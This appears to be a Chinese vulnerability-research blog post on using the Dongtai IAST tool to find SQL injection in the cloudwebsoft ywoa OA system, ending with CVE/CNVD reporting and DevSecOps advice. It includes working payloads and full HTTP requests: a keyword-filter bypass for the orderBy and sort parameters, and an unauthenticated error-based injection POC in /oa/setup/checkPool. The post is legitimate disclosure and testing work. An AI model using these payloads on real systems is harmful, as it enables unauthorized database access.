一、洞态IAST环境部署
洞态IAST官网
安装docker
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
安装Docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.6.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
部署洞态Server端
./dtctl install
等待下载即可
部署Agent
安装成功之后登录
ps: SCAtoken
如果需要可以添加官方员工小依的微信申请
OA环境搭建
GitHub地址:https://github.com/cloudwebsoft/ywoa
搭建好之后是这样,因为是Tomcat一键启动的,不过IAST也支持进程注入的方式挂载Agent
加载Agent
首先下载agent.jar
随后传入Windows里面,使用下面的命令
# 找到tomcat进程
tasklist | findstr tomcat
# 加载Agent
java -jar agent.jar -m install -p [PID]
WindowsCMD注入Agent推荐使用管理员模式
等待几秒钟加载成功提示即可
加载成功
随后在项目中就可以看到项目名称了
洞态IAST会对组件等信息进行扫描,现在可以访问OA站点,即可。
二、漏洞挖掘
点击网页
因为洞态IAST采用被动插桩的方式,不会主动发送请求,所以需要我们主动点击网站产生流量
随便点击任意功能点,触发接口调用即可
随便点击搜索
随便点击几个接口之后,已经可以看到IAST已经检测到SQL注入
SQL注入一
可以通过查看IAST的调用链来查看参数情况
可以看到有一个desc从外部直接拼接到SQL语句中了
select distinct t1.id from form_table_personbasic t1 where t1.unit_code='root' and 1=1 and t1.realname like '%123%' and t1.sex='男' and t1.dept in ('0004') and t1.cws_status=1 order by t1.id desc
另外这个接口另外一个参数orderby也存在注入
页面功能点如下
请求如下
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.192:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 145
Origin: http://172.16.140.192:8088
Connection: close
Referer: http://172.16.140.192:8088/oa/visual/module_list.jsp?code=personbasic
Cookie: JSESSIONID=257BFC5A49217E82BBC4BD591CBAD966; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
page=1&limit=20&realname_cond=0&realname=123&sex=%E7%94%B7&sex_cond=1&dept=0004&dept_cond=0&op=search&moduleCode=personbasic&menuItem=1&mainCode=
SQL语句如下
select distinct t1.id from form_table_personbasic t1 where t1.unit_code='root' and 1=1 and t1.realname like '%123%' and t1.sex='男' and t1.dept in ('0004') and t1.cws_status=1 order by t1.id desc
那么现在desc完全可以控制,那么直接使用and
拼接。
会提示302,跳过去看会发现存在过滤规则
SQL注入Bypass
这里采用直接看代码的方式看看规则是如何写的,如果是tomcat启动,可以使用idea远程Debug的方式
配置好了之后静态看一下代码,找到拦截的filter
具体的检测逻辑在SecurityUtil.java中的filter方法,来具体看这里的代码逻辑
简单说一下这里的主要就是获取request参数的值,然后挨个传给下面的检测逻辑
既然刚刚提示XSS攻击,就直接跟入antixss这个方法中查看具体实现逻辑
接下来就会来到Antixss.Java
src/main/java/com/cloudwebsoft/framework/security/AntiXSS.java
调了antiXSS方法传入需要检测的html和一个true
直接跟进去看
查看_antiXSS方法,这里传入了content就是需要检测的内容
这里就是具体的检测逻辑了,但是我这里只看了stripScriptTag
方法,因为是这个方法里面的内容检测到了,我们的关注点也只在是什么参数被检测到了
主要是通过正则的方式,并且因为CASE_INSENSITIVE
的关系,不区分大小写
拉到下面的时候可以看到,其实是and或者sleep被过滤了,新建一个test类,调一下就知道了!
去掉AND
语句正常,放回and去掉sleep,语句正常,那么既然这样,把and换成&&,即可
语句正常返回,那么这里返回之后
回到SecurityUtil.java,就会进入SQL注入的逻辑,跟入isValidSqlParam
方法
跟入sql_inj
方法
and的检测我们已经绕过了,需要绕过第二个框中的代码逻辑
这里主要的逻辑是将inj_str使用|
分开,会生成一个列表给到inj_stra[],随后就是遍历该列表,每次循环都会使用indexOf方法判断在inj_stra中的值是否在str中,也就是如果indexOf返回>0的值就存在,反之则不存在,这里也可以写个类调一下
在第六次循环也就是select的时候,被检测到了,那么很明显需要绕过select
这里本来想尝试用
&& extractvalue(1,concat('~',database()))
可惜的是'~'
会被检测到XSS,所以这个方法不行
这里的&&需要转成url编码,不然这个请求会报400
所以只能在select这个关键字上想想办法,这里给出绕过的payload
id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)
Tips:这里光看截图可能会认为那里可以用SELECT大写绕过,其实在调用sql_inj
方法前就会转成小写
所以是没有办法大写去绕过的
POST /oa/visual/moduleList.do?op=&code=personbasic&orderBy=id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)&sort=desc&unitCode=& HTTP/1.1
Host: 172.16.140.176:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4CD4E79F3B246F5268600DDF907FA54; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl
Content-Length: 15
page=2&limit=20
所以Bypass的payload如下
id+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)
+%26%26+(/*!%53eLEct*/+1+FROM+(/*!%53eLEct*/(sleep(5)))a)
sort参数
orderBy参数
SQL注入二-前台未授权
通过apikit
的接口fuzz找到了一个可以未授权请求的接口,在代码中找到对应实现方法
前提:这个洞有个条件,就是需要小于6.1的版本,具体为什么直接上代码src/main/java/com/cloudweb/oa/controller/ApplicationController.java
上边的不需要管,具体注意下面的if(isValid)
首先是从配置里边获取版本
获取到版本6.1,然后就开始版本判断了
判断是否小于3
判断是否小于4
判断是否小于5
判断是否等于6
那么在这里利用的条件就是,版本需要在<=6的版本才可以成功
故此改一下版本
还需要再改一个位置,需要将数据库的版本也更改了,不然登录的时候会提示版本不一致,数据库与配置文件版本判断类在src/main/java/com/cloudweb/oa/service/LoginService.java
在数据库中的oa_sys_ver表中更改version字段的值即可
改完之后重启一下tomcat,随后请求指定的接口,不需要登录
POST /oa/setup/checkPool?database=test' HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
发现这里的返回有回显,会提示SQL语句报错
这里直接用extractvalue
把user
带出来
POC
and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+
HTTP
POST /oa/setup/checkPool?database=test'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))--+ HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
三、申请CNVD与CVE
1、CVE
2、CNVD
三、在个人与甲方之间该如何更好的利用IAST
1、对于个人
我认为对于个人用户,主要可以分为安全从业者和开发者,前者可以利用IAST的功能,挖掘更多的漏洞,而个人开发者,完全可以使用IAST来对自己开发的Web站点等进行安全测试。
2、甲方安全建设
对于甲方,其实在上面的挖掘过程也可以看到,安装Agent之后需要手动点击产生流量,因为洞态IAST的被动式检测,不会产生脏数据,所以在甲方实践中,可以把Agent放在功能测试阶段,API测试等阶段,此时完全可以让测试人员无感的测试,同时又可以实时检测漏洞,对于甲方还是很好的一款DevOps产品
洞态IAST企业最佳实践
个人想法
目前我使用IAST的场景,大部分都是有代码审计的需求,并且框架比较庞大,这样很导致需要花很长的时间去看,但是可以加载IAST的Agent,我只需要去访问站点就可以检测是否存在漏洞,这样对于我来说是一种很大的帮助,大部分情况都会挂一个agent,总之不会影响到我正常的审计流程,何尝不可呢:)